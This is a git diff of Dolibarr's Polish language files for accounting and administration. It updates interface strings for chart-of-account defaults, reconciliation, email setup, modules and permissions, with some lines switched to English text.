+ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Konto księgowe domyślnie dla kupowanych produktów (używane, jeśli nie zostało zdefiniowane w karcie produktu) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Konto księgowe domyślnie dla zakupionych produktów w EWG (używane, jeśli nie zostało zdefiniowane w karcie produktu) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Konto księgowe domyślnie dla produktów zakupionych i importowanych poza EWG (używane, jeśli nie zostało zdefiniowane w karcie produktu) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Konto księgowe używane domyślnie dla sprzedanych produktów (używane jeżeli nie zdefiniowano konta w arkuszu produktu) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Konto księgowe domyślnie dla produktów sprzedawanych w EWG (używane, jeśli nie zostało zdefiniowane w karcie produktu) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Konto księgowe domyślnie dla produktów sprzedanych i wyeksportowanych poza EWG (używane, jeśli nie zostały zdefiniowane w karcie produktu) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Konto księgowe używane domyślnie dla kupionych usług (używane jeżeli nie zdefiniowano konta w arkuszu produktu) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Konto księgowe domyślnie dla zakupionych usług w EWG (używane, jeśli nie zostało zdefiniowane w karcie usług) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Konto księgowe domyślnie dla usług zakupionych i importowanych poza EWG (używane, jeśli nie zostało zdefiniowane w karcie usług) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Konto księgowe używane domyślnie dla sprzedanych usług (używane jeżeli nie zdefiniowano konta w arkuszu produktu) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Konto księgowe domyślnie dla usług sprzedawanych w EWG (używane, jeśli nie zostało zdefiniowane w arkuszu usług) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Konto księgowe domyślnie dla usług sprzedawanych i eksportowanych poza EWG (używane, jeśli nie zostało zdefiniowane w arkuszu usług) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Rodzaj dokumentu Docdate=Data @@ -211,7 +220,8 @@ Codejournal=Dziennik JournalLabel=Etykieta czasopisma NumPiece=ilość sztuk TransactionNumShort=Numer transakcji -AccountingCategory=Grupa niestandardowa +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Grupuj według konta księgi głównej GroupBySubAccountAccounting=Grupuj według konta księgi podrzędnej AccountingAccountGroupsDesc=Możesz tutaj zdefiniować kilka grup rachunków księgowych. Będą wykorzystywane do tworzenia spersonalizowanych raportów księgowych. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Pokaż sumę częściową według poziomu Pcgtype=Grupa konta PcgtypeDesc=Grupa kont jest używana jako predefiniowane kryteria „filtru” i „grupowania” w niektórych raportach księgowych. Na przykład „DOCHÓD” lub „WYDATEK” są używane jako grupy dla kont księgowych produktów w celu utworzenia raportu kosztów / dochodów. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Do pogodzenia TotalVente=Łączny obrót przed opodatkowaniem TotalMarge=Całkowita marża sprzedaży -DescVentilCustomer=Zapoznaj się z listą wierszy faktur klienta powiązanych (lub nie) z kontem księgowym produktu -DescVentilMore=W większości przypadków, jeśli korzystasz z predefiniowanych produktów lub usług i ustawisz numer konta na karcie produktu / usługi, aplikacja będzie w stanie powiązać wszystkie linie faktury z kontem księgowym planu kont, tylko w jedno kliknięcie przyciskiem "%s" . Jeśli konto nie zostało ustawione na kartach produktów / usług lub jeśli nadal masz jakieś linie niepowiązane z kontem, będziesz musiał wykonać ręczne powiązanie z menu „ %s ”. -DescVentilDoneCustomer=Zapoznaj się z listą wierszy odbiorców faktur i ich kontami księgowymi produktów -DescVentilTodoCustomer=Powiąż pozycje faktury aktualnie nie związane z kontem księgowym produktu -ChangeAccount=Zmień konto księgowe dla zaznaczonych produktów/usług na następujące konto księgowe: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Zapoznaj się z listą wierszy faktur od dostawców powiązanych lub jeszcze niezwiązanych z kontem księgowym produktu (widoczne są tylko rekordy, które nie zostały jeszcze przeniesione w księgowości) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Zapoznaj się z listą wierszy faktur od dostawców i ich kontami księgowymi DescVentilTodoExpenseReport=Powiązanie wierszy raportu wydatków, które nie są jeszcze powiązane z kontem rozliczeniowym opłat DescVentilExpenseReport=Zapoznaj się z listą pozycji raportu wydatków powiązanych (lub nie) z kontem rozliczania opłat @@ -279,24 +290,25 @@ DescVentilExpenseReportMore=Jeśli ustawisz konto księgowe na typ wierszy rapor DescVentilDoneExpenseReport=Zapoznaj się z listą pozycji raportów wydatków i ich kontem księgowym opłat Closure=Coroczne zamknięcie -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=Jakakolwiek modyfikacja lub usunięcie pisma, napisów i usunięcia będzie zabronione. Wszystkie wpisy do ćwiczenia muszą zostać zatwierdzone, w przeciwnym razie zamknięcie nie będzie możliwe ValidateHistory=Dowiąż automatycznie AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Błąd, nie można usunąc tego konta księgowego, ponieważ jest w użyciu +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balansowy FicheVentilation=Karta dowiązania GeneralLedgerIsWritten=Transakcje zapisane w księdze głównej GeneralLedgerSomeRecordWasNotRecorded=Niektóre transakcje nie mogły zostać zapisane w dzienniku. Jeśli nie ma innego komunikatu o błędzie, jest to prawdopodobnie spowodowane tym, że zostały już zapisane w dzienniku. NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=Lista produktów nie dowiązanych do żadnego konta księgowego +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Zmień dowiązanie Accounted=Rozliczone w księdze NotYetAccounted=Not yet transferred to accounting @@ -319,9 +331,10 @@ AccountingJournalType1=Różne operacje AccountingJournalType2=Sprzedaż AccountingJournalType3=Zakupy AccountingJournalType4=Bank -AccountingJournalType5=Raport kosztów +AccountingJournalType5=Raporty kosztów AccountingJournalType8=Inwentaryzacja AccountingJournalType9=Ma nowe +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Ten dziennik jest już w użytku AccountingAccountForSalesTaxAreDefinedInto=Uwaga: Konta księgowe dla podatku od sprzedaży są zdefiniowane w menu %s - %s NumberOfAccountancyEntries=Liczba wejść @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Liczba ruchów ACCOUNTING_DISABLE_BINDING_ON_SALES=Wyłącz powiązanie i przeniesienie w księgowości sprzedaży (faktury klientów nie będą brane pod uwagę w księgowości) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Wyłącz powiązanie i przeniesienie w księgowości zakupów (faktury dostawcy nie będą brane pod uwagę w księgowości) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Wyłącz powiązanie i przeniesienie w księgowości na zestawieniach wydatków (zestawienia wydatków nie będą brane pod uwagę w księgowości) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Date validation and lock ConfirmExportFile=Potwierdzenie wygenerowania pliku eksportu księgowości ? ExportDraftJournal=Export dziennika projektu @@ -389,7 +406,7 @@ SaleLocal=Sprzedaż lokalna SaleExport=Sprzedaż eksportowa SaleEEC=Sprzedaż w EWG SaleEECWithVAT=Sprzedaż w EWG z podatkiem VAT niezerowym, więc przypuszczamy, że NIE jest to sprzedaż wewnątrzwspólnotowa, a sugerowane konto to standardowe konto produktu. -SaleEECWithoutVATNumber=Sprzedaż w EWG bez podatku VAT, ale identyfikator VAT strony trzeciej nie jest zdefiniowany. Wracamy na konto produktu dla sprzedaży standardowej. W razie potrzeby możesz poprawić identyfikator VAT strony trzeciej lub konto produktu. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Forbidden: The transaction has been validated and/or exported. ForbiddenTransactionAlreadyValidated=Forbidden: The transaction has been validated. ## Dictionary @@ -398,7 +415,11 @@ Calculated=Przeliczone Formula=Formuła ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=No reconcile modified AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modif AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified ## Confirm box -ConfirmMassUnlettering=Bulk Unreconcile confirmation -ConfirmMassUnletteringQuestion=Are you sure you want to Unreconcile the %s selected record(s)? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Potwierdzenie usuwania zbiorczego ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? @@ -427,6 +449,8 @@ SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorr AccountancyErrorMismatchLetterCode=Mismatch in reconcile code AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Zapisy księgowe @@ -453,6 +477,7 @@ FECFormatMulticurrencyCode=Kod wielowalutowy (Idevise) DateExport=Eksport daty WarningReportNotReliable=Ostrzeżenie, ten raport nie jest oparty na księdze, więc nie zawiera transakcji zmodyfikowanych ręcznie w księdze. Jeśli dziennikarstwo jest aktualne, widok księgowości jest dokładniejszy. ExpenseReportJournal=Dziennik wydatków -InventoryJournal=Dziennik zapasów +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s kont diff --git a/htdocs/langs/pl_PL/admin.lang b/htdocs/langs/pl_PL/admin.lang index df6680f4674..79e289ac087 100644 --- a/htdocs/langs/pl_PL/admin.lang +++ b/htdocs/langs/pl_PL/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Zestawienie klienta WarningModuleNotActive=Moduł %s musi być aktywny WarningOnlyPermissionOfActivatedModules=Tylko uprawnienia związane z funkcją aktywowania modułów pokazane są tutaj. Możesz uaktywnić inne moduły w instalacji - moduł strony. DolibarrSetup=Instalacja lub ulepszenie Dollibar'a -InternalUser=Wewnętrzny użytkownik -ExternalUser=Zewnętrzny użytkownik InternalUsers=Wewnętrzni użytkownicy ExternalUsers=Zewnetrzni użytkownicy UserInterface=Interfejs użytkownika @@ -147,6 +145,7 @@ Box=Widżet Boxes=Widżety MaxNbOfLinesForBoxes=Max. liczba linii dla widżetów AllWidgetsWereEnabled=Wszystkie dostępne widgety zostały wlączone +WidgetAvailable=Widget available PositionByDefault=Domyślny porządek Position=Pozycja MenusDesc=Menadżer menu ustawia zawartość dwóch pasków menu (poziomego i pionowego) @@ -163,7 +162,7 @@ PurgeAreaDesc=Ta strona pozwala usunąć wszystkie pliki wygenerowane lub przech PurgeDeleteLogFile=Usuń pliki logu, wliczając %s zdefiniowany dla modułu Syslog (brak ryzyka utraty danych) PurgeDeleteTemporaryFiles=Usuń wszystkie pliki dziennika i pliki tymczasowe (bez ryzyka utraty danych). Parametrem może być „tempfilesold”, „logfiles” lub oba „tempfilesold + logfiles”. Uwaga: Pliki tymczasowe są usuwane tylko wtedy, gdy katalog tymczasowy został utworzony ponad 24 godziny temu. PurgeDeleteTemporaryFilesShort=Usuń logi i pliki tymczasowe (bez ryzyka utraty danych) -PurgeDeleteAllFilesInDocumentsDir=Usuń wszystkie pliki z katalogu: %s.
      Spowoduje to usunięcie wszystkich wygenerowanych dokumentów związanych z elementami (strony trzecie, faktury itp.), plików przesłanych do modułu ECM, zrzutów kopii zapasowej bazy danych i plików tymczasowych. +PurgeDeleteAllFilesInDocumentsDir=Usuń wszystkie pliki z katalogu: %s.
      Spowoduje to usunięcie wszystkich wygenerowanych dokumentów związanych z elementami (kontrahenci, faktury itp.), plików przesłanych do modułu ECM, zrzutów kopii zapasowej bazy danych i plików tymczasowych. PurgeRunNow=Czyść teraz PurgeNothingToDelete=Brak katalogu lub plików do usunięcia. PurgeNDirectoriesDeleted= %s pliki lub katalogi usunięte. @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Maszyna SMTP/SMTPS (wartość domyślna w php.ini: %s%s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Konto e-mail otrzymujące informacje o błędach przy wysyłaniu wiadomości e-mail (pola „Errors-To” w wysłanych wiadomościach e-mail) MAIN_MAIL_AUTOCOPY_TO= Kopiuj (Cc) wszystkie wysłane emaile do MAIN_DISABLE_ALL_MAILS=Wyłącz wysyłanie wszystkich wiadomości e-mail (do celów testowych lub pokazów) @@ -375,7 +375,7 @@ DoTestSendHTML=Test przesyłania HTML ErrorCantUseRazIfNoYearInMask=Błąd, nie można korzystać z opcji @ na reset licznika każdego roku, jeśli ciąg {rr} lub {rrrr} nie jest w masce. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Błąd, nie można użyć opcji @ jeżeli sekwencja {rr}{mm} lub {yyyy}{mm} nie jest elementem maski. UMask=Parametr Umask dla nowych plików systemów Unix / Linux / BSD / Mac. -UMaskExplanation=Ten parametr pozwala określić uprawnienia ustawione domyślnie na pliki stworzone przez Dolibarr na serwerze (na przykład podczas przesyłania).
      To musi być wartość ósemkowa (na przykład, 0666 oznacza odczytu i zapisu dla wszystkich).
      Paramtre Ce ne sert pas sous un serveur Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Spójrz na stronę Wiki, aby zapoznać się z listą współpracowników i ich organizacji UseACacheDelay= Opóźnienie dla buforowania odpowiedzi eksportu w sekundach (0 lub puste pole oznacza brak buforowania) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Unikalny Boolean=Boolean (jedno pole wyboru) ExtrafieldPhone = Telefon ExtrafieldPrice = Cena +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Adres e-mail ExtrafieldUrl = Link +ExtrafieldIP = IP ExtrafieldSelect = Wybierz listę ExtrafieldSelectList = Wybierz z tabeli ExtrafieldSeparator=Separator (nie pole) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Pola wyboru ExtrafieldCheckBoxFromList=Pola wyboru z tabeli ExtrafieldLink=Link do obiektu ComputedFormula=Obliczone pole -ComputedFormulaDesc=Możesz tu wprowadzić formułę, używając innych właściwości obiektu lub dowolnego kodowania PHP, aby uzyskać dynamiczną wartość obliczoną. Możesz używać dowolnych formuł zgodnych z PHP, w tym znaku „?” operator warunku i następujący obiekt globalny: $db, $conf, $langs, $mysoc, $user, $object .
      OSTRZEŻENIE : Tylko niektóre właściwości obiektu $object mogą być dostępne. Jeśli potrzebujesz właściwości, które nie są załadowane, po prostu wczytaj obiekt do formuły, tak jak w drugim przykładzie.
      Użycie pola obliczeniowego oznacza, że nie możesz samodzielnie wprowadzić żadnej wartości z interfejsu. Ponadto, jeśli wystąpi błąd składni, formuła może nic nie zwrócić.

      Przykład formuły:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Przykład przeładowania obiektu
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Inny przykład formuły wymuszającej ładowanie obiektu i jego obiektu nadrzędnego:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: „Nie znaleziono projektu nadrzędnego” +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Zapisz obliczone pole ComputedpersistentDesc=Obliczone dodatkowe pola zostaną zapisane w bazie danych, jednak wartość zostanie przeliczona tylko wtedy, gdy obiekt tego pola zostanie zmieniony. Jeśli obliczone pole zależy od innych obiektów lub danych globalnych, ta wartość może być nieprawidłowa !! ExtrafieldParamHelpPassword=Pozostawienie tego pola pustego oznacza, że ta wartość będzie przechowywana bez szyfrowania (pole musi być ukryte tylko z gwiazdką na ekranie).
      Ustaw `` auto '', aby użyć domyślnej reguły szyfrowania do zapisania hasła w bazie danych (wtedy odczytana wartość będzie tylko hashem, nie ma możliwości odzyskania oryginalnej wartości) @@ -501,7 +503,8 @@ WarningPHPMail=OSTRZEŻENIE: Konfiguracja wysyłania wiadomości e-mail z aplika WarningPHPMailA=- Korzystanie z serwera dostawcy usług e-mail zwiększa wiarygodność wiadomości e-mail, a więc zwiększa dostarczalność bez oznaczania jako SPAM WarningPHPMailB=- Niektórzy dostawcy usług e-mail (np. Yahoo) nie pozwalają na wysyłanie wiadomości e-mail z innego serwera niż ich własny serwer. Twoja obecna konfiguracja wykorzystuje serwer aplikacji do wysyłania wiadomości e-mail, a nie serwer dostawcy poczty e-mail, więc niektórzy odbiorcy (ten zgodny z restrykcyjnym protokołem DMARC) zapytają dostawcę poczty e-mail, czy mogą zaakceptować Twoją wiadomość e-mail i niektórzy dostawcy poczty e-mail (jak Yahoo) może odpowiedzieć „nie”, ponieważ serwer nie należy do nich, więc niewiele z wysłanych przez Ciebie e-maili może nie zostać zaakceptowanych do dostarczenia (uważaj również na limit wysyłania dostawcy poczty e-mail). WarningPHPMailC=- Używanie serwera SMTP własnego dostawcy usług pocztowych do wysyłania e-maili jest również interesujące, więc wszystkie e-maile wysyłane z aplikacji będą również zapisywane w katalogu „Wysłane” Twojej skrzynki pocztowej. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Jeśli Twój dostawca poczty e-mail SMTP musi ograniczyć klienta poczty e-mail do niektórych adresów IP (bardzo rzadko), jest to adres IP agenta użytkownika poczty (MUA) dla aplikacji ERP CRM: %s . WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Przykład:
      Formularz do tworzenia nowej PageUrlForDefaultValuesList=
      Przykład:
      W przypadku strony z listą stron trzecich jest to %s .
      W przypadku adresów URL modułów zewnętrznych zainstalowanych w katalogu niestandardowym nie należy dołączać „custom/”, więc użyj ścieżki takiej jak mymodule/mypagelist.php , a nie custom/mymodule/mypagelist.php.
      Jeśli chcesz mieć wartość domyślną tylko wtedy, gdy adres URL ma jakiś parametr, możesz użyć %s AlsoDefaultValuesAreEffectiveForActionCreate=Należy również pamiętać, że nadpisywanie wartości domyślnych przy tworzeniu formularzy działa tylko w przypadku stron, które zostały poprawnie zaprojektowane (więc z parametrem akcja = utwórz lub wyświetl ...) EnableDefaultValues=Włącz dostosowywanie wartości domyślnych -EnableOverwriteTranslation=Włącz użycie tłumaczenia nadpisanego +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Znaleziono tłumaczenie klucza z tym kodem. Aby zmienić tę wartość, należy ją edytować z poziomu Strona Główna - Ustawienia - Tłumaczenia. WarningSettingSortOrder=Ostrzeżenie, ustawienie domyślnej kolejności sortowania może spowodować błąd techniczny podczas przechodzenia na stronę listy, jeśli pole jest nieznanym polem. Jeśli napotkasz taki błąd, wróć na tę stronę, aby usunąć domyślną kolejność sortowania i przywrócić domyślne zachowanie. Field=Pole @@ -643,11 +646,13 @@ Module2300Name=Zaplanowane zadania Module2300Desc=Zarządzanie zaplanowanymi zadaniami (jak cron lub chrono table) Module2400Name=Wydarzenia/Agenda Module2400Desc=Śledź wydarzenia. Rejestruj automatyczne zdarzenia do celów śledzenia lub rejestruj zdarzenia ręczne lub spotkania. Jest to główny moduł dobrego zarządzania relacjami z klientami lub dostawcami. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=SZD / ZZE Module2500Desc=System Zarządzania Dokumentami / Zarządzanie Zawartością Elektroniczną. Automatyczna organizacja twoich wygenerowanych lub składowanych dokumentów. Udostępniaj je kiedy chcesz. -Module2600Name=API services (Web services SOAP) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Enable the Dolibarr SOAP server providing API services -Module2610Name=API services (Web services REST) +Module2610Name=API / Web services (REST server) Module2610Desc=Enable the Dolibarr REST server providing API services Module2660Name=Połączeń WebServices (klient SOAP) Module2660Desc=Włącz klienta usług sieciowych Dolibarr (może być używany do przesyłania danych/żądań do serwerów zewnętrznych. Obecnie obsługiwane są tylko zamówienia zakupu). @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Możliwości konwersji GeoIP Maxmind Module3200Name=Niezmienione archiwa Module3200Desc=Włącz niezmienny dziennik zdarzeń biznesowych. Wydarzenia są archiwizowane w czasie rzeczywistym. Dziennik jest tabelą tylko do odczytu połączonych zdarzeń, które można wyeksportować. Ten moduł może być obowiązkowy w niektórych krajach. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Sieci społecznościowe Module3400Desc=Włącz pola sieci społecznościowych w kontrahentach i adresach (skype, twitter, facebook, ...). Module4000Name=HR @@ -698,7 +705,10 @@ Module62000Name=Formuły handlowe Module62000Desc=Dodaj funkcje do zarządzania Incoterms Module63000Name=Zasoby Module63000Desc=Zarządzaj zasobami (drukarki, samochody, pokoje, ...) w celu przydzielania ich do wydarzeń -Permission11=Czytaj faktur klientów +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Tworzenie/modyfikacja faktur klientów Permission13=Unieważnij faktury klienta Permission14=Walidacja faktur klienta @@ -842,9 +852,9 @@ Permission286=Eksport kontaktów Permission291=Czytaj taryfy Permission292=Ustaw uprawnienia dotyczące taryf Permission293=Zmodyfikuj taryfy klienta -Permission300=Czytaj kody kreskowe -Permission301=Twórz/modyfikuj kody kreskowe -Permission302=Usuń kody kreskowe +Permission301=Generate PDF sheets of barcodes +Permission304=Twórz/modyfikuj kody kreskowe +Permission305=Usuń kody kreskowe Permission311=Czytaj usługi Permission312=Przypisywanie usługi / subskrypcji do umowy Permission331=Czytaj zakładki @@ -940,7 +950,7 @@ Permission1190=Zatwierdź (drugie zatwierdzenie) zamówienia zakupu Permission1191=Eksport zamówień dostawców i ich atrybutów Permission1201=Wygeneruj wyniki eksportu Permission1202=Utwórz / modyfikuj eksport -Permission1231=Przeczytaj faktury od dostawców +Permission1231=Read vendor invoices (and payments) Permission1232=Twórz/modyfikuj faktury od dostawców Permission1233=Weryfikuj faktury od dostawców Permission1234=Usuń faktury dostawcy @@ -971,13 +981,14 @@ Permission3301=Wygeneruj nowe moduły Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Przeczytaj zawartość strony internetowej Permission10002=Twórz/modyfikuj zawartość strony internetowej (zawartość html i javascript) Permission10003=Twórz/modyfikuj zawartość strony internetowej (dynamiczny kod php). Niebezpieczne, musi być 